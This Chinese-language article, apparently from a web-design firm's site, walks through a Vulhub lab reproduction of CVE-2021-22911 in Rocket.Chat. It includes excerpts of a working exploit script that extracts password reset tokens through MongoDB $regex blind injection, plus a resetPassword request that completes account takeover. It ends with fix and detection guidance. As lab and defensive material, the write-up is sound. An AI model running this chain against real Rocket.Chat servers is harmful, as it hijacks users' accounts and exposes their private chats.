十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Rocket.Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911):从盲注原理到账户接管的全链路复现

Rocket.Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911):从盲注原理到账户接管的全链路复现 Rocket.Chat 前台 NoSQL 盲注漏洞CVE-2021-22911从盲注原理到账户接管的全链路复现【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhubRocket.Chat 是基于 Node.js 与 MongoDB 的开源团队协作聊天平台其 3.12.13.13.2 版本中的getPasswordPolicy方法存在一处无需认证即可触发的 MongoDB 注入漏洞。本文以 Vulhub 中 rocketchat/CVE-2021-22911 环境为核心完整讲解漏洞的原理、攻击链路与自动化利用脚本 CVE-2021-22911.py 的实现细节读完后你将掌握如何通过未授权接口泄露任意用户的 Password Reset Token并据此接管普通用户账户。漏洞概述两种攻击方式CVE-2021-22911 的根因是getPasswordPolicy方法对用户输入缺乏过滤攻击者传入的查询参数被直接拼接进 MongoDB 查询语句从而可以注入$regex等 MongoDB 查询操作符。该接口位于 Rocket.Chat 的method.callAnon通道之下不需要任何身份认证即可调用。围绕这一注入点存在两种典型的利用路径未授权攻击者利用该漏洞泄露任意普通用户的 Password Reset Token密码重置令牌再通过令牌直接修改其账户密码实现完全接管已登录普通用户利用该漏洞越权读取任意用户的任意信息。Vulhub 的中文文档README.zh-cn.md与英文文档README.md聚焦第一种未授权令牌泄露 改密路径本文同样以该路径为主线进行复现并对脚本与接口细节做源码级的展开。环境搭建Vulhub 使用官方预构建镜像vulhub/rocketchat:3.12.1搭建漏洞环境完整编排见 docker-compose.yml。执行以下命令启动环境docker compose up -d编排文件中共定义了三类容器理解它们的分工有助于把握 Rocket.Chat 的运行前提rocketchat漏洞目标本体基于vulhub/rocketchat:3.12.1镜像。command中通过seq 1 30循环执行node main.js并配合sleep 5重试是为了等待 MongoDB 副本集就绪后再拉起应用关键环境变量包括PORT3000Web 服务监听端口ROOT_URLhttp://localhost:3000对外访问地址MONGO_URLmongodb://mongo:27017/rocketchat业务数据库地址MONGO_OPLOG_URLmongodb://mongo:27017/localRocket.Chat 依赖 MongoDB 副本集的 oplog 机制故必须指定 oplog 地址MAIL_URLsmtp://smtp.email占位的邮件地址实际攻击不依赖真实发信。mongomongo:4.0镜像启动参数--replSet rs0 --oplogSize 128 --storageEnginemmapv1 --smallfiles表明数据库以单节点副本集方式运行——这正是 Rocket.Chat 强制要求的部署形态。mongo-init-replica一次性初始化容器执行rs.initiate({...})初始化名为rs0的副本集完成后自行退出容器内break || ...; (exit $s)的模式与 rocketchat 容器的等待逻辑一致。环境启动后访问http://your-ip:3000进入 Rocket.Chat 安装向导跟随向导完成安装即可。安装完成后为验证第一种攻击方法需要在管理后台创建一个普通用户用户名vulhub邮箱vulhubvulhub.org。创建成功后的用户列表如下vulhub账户的 Roles 为user即为待接管的目标攻击链路三步接管用户账户利用该漏洞接管一个普通用户共需三步前两步对应脚本中的两个函数触发密码重置以目标邮箱请求找回密码后台会为该邮箱在数据库中生成一条 Password Reset Token盲注提取令牌利用getPasswordPolicy的 MongoDB 注入以$regex前缀匹配的方式逐字符还原 Token令牌改密使用窃得的 Token 调用resetPassword方法把目标用户密码改成攻击者控制的值。第一步触发 Token 生成脚本 CVE-2021-22911.py 的reset_password函数第 15–27 行向未授权接口发送找回密码请求payload { msg: method, method: sendForgotPasswordEmail, params: [email], } session.post( f{target}/api/v1/method.callAnon/sendForgotPasswordEmail, json{message: json.dumps(payload)}, )注意两个细节接口路径中的callAnon表明 Rocket.Chat 将这类方法暴露在匿名调用通道上请求体以{message: json字符串}的形式包装message字段内是序列化后的方法调用描述msg/method/params三段结构。执行成功后打印[] Password Reset Email Sent此时数据库中已为该邮箱写入一条重置令牌。第二步$regex 盲注逐位还原 Token这是整个漏洞的核心。getPasswordPolicy接口接受一个token参数服务端将其直接放入 MongoDB 查询条件而未做任何转义因此攻击者可以把{ token: { $regex: ^8 } }这样的查询操作符注入进去让数据库把token字段当作正则来匹配。由于接口不会回显匹配到的数据只能根据响应差异判断命中与否因此这是一次典型的盲注当$regex写成^7Token 实际首字符不是 7时查询无结果接口返回Meteor.Error错误error:error-invalid-user,reason:Invalid user当$regex写成^8Token 首字符确为 8时查询命中接口正常返回策略内容{enabled: false, policy: []}。两种响应的原始请求/响应对照如下。左$regex为^7时返回Meteor.Error右$regex为^8时命中令牌返回正常密码策略对比可见两者的判别特征是响应体中是否包含Meteor.Error字符串这正是脚本中if bMeteor.Error not in response.content这一判断第 49 行的依据。inject_token函数第 30–57 行把上述过程自动化guess -_ string.digits string.ascii_letters ... payload { msg: method, method: getPasswordPolicy, params: [{ token: { $regex: ^ } }], } for i in range(43): current payload[params][0][token][$regex] for ch in guess: payload[params][0][token][$regex] current ch response session.post( f{target}/api/v1/method.callAnon/getPasswordPolicy, json{message: json.dumps(payload)}, ) if bMeteor.Error not in response.content: break # 命中当前字符进入下一位 time.sleep(1.5)脚本参数设计上有几点值得注意字典guess为-_加数字与大小写字母Rocket.Chat 的密码重置令牌由字母数字及-、_组成字典与之对齐保证每一位都能命中外层for i in range(43)固定猜测 43 位与令牌长度一致内层按current ch逐位追加字符命中即跳出内层循环下一轮外层循环继续猜测下一位命中判定即Meteor.Error的有无无该字符串视为命中并打印当前已还原前缀$regex去掉开头的^后即为 Token 本身否则打点并sleep(1.5)限速避免请求过快触发服务端保护。整个过程的复杂度为43 × 字典长度次 HTTP 请求本例约 43 × 64 次在 1.5 秒间隔下需要较长时间但全程无需登录态。实际运行效果如下Token 被逐字符还原8tNbUJCigNeoL...第三步使用 Token 重置密码拿到完整 Token 后攻击者只需再次调用未授权接口resetPassword参数为窃得的 Token 与新密码数组{ msg: method, method: resetPassword, params: [ {$token值: 新密码} ] }对应请求发送至POST /api/v1/method.callAnon/resetPassword。服务端校验 Token 有效后更新该用户密码响应返回success: true及新的 Token 过期时间tokenExpires至此目标用户vulhub的账户已被完全接管——攻击者可以使用自己设置的密码登录该账户读取其全部聊天数据或以其身份继续横向利用。脚本使用与完整攻击命令仓库提供的利用脚本接受两个参数目标地址与目标用户邮箱python CVE-2021-22911.py http://target-ip:3000 vulhubvulhub.org脚本内部自动完成触发重置邮件 → 盲注提取 Token两步if __name__ __main__分支第 60–63 行输出形如[] Password Reset Email Sent [*] Guess No.1 character: .............. [] Current token is 8 [*] Guess No.2 character: .............................. [] Current token is 8t ...提取完成后再手工或自行扩展脚本发起第三步的resetPassword请求即可完成接管。小结与修复方向漏洞本质getPasswordPolicy方法将用户可控的token参数未经过滤直接拼入 MongoDB 查询且接口暴露在method.callAnon匿名通道下无需认证 查询注入叠加使其危害从信息泄露升级为账户接管影响版本Rocket.Chat 3.12.13.13.2升级到修复版本即可消除该攻击面通用防御启示对 NoSQL 数据库的查询构造应使用类型白名单校验例如 Token 只允许特定字符与长度拒绝以$开头的键值操作符敏感接口的匿名调用通道应收窄到最小集合检测视角监控method.callAnon/getPasswordPolicy请求中出现$regex、$ne、$gt等 MongoDB 操作符的流量可作为该漏洞利用的直接指纹。本文全部环境与材料均来自 Vulhub 仓库环境编排见 rocketchat/CVE-2021-22911/docker-compose.yml利用脚本见 rocketchat/CVE-2021-22911/CVE-2021-22911.py中英文档见 rocketchat/CVE-2021-22911/README.md 与 rocketchat/CVE-2021-22911/README.zh-cn.md。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表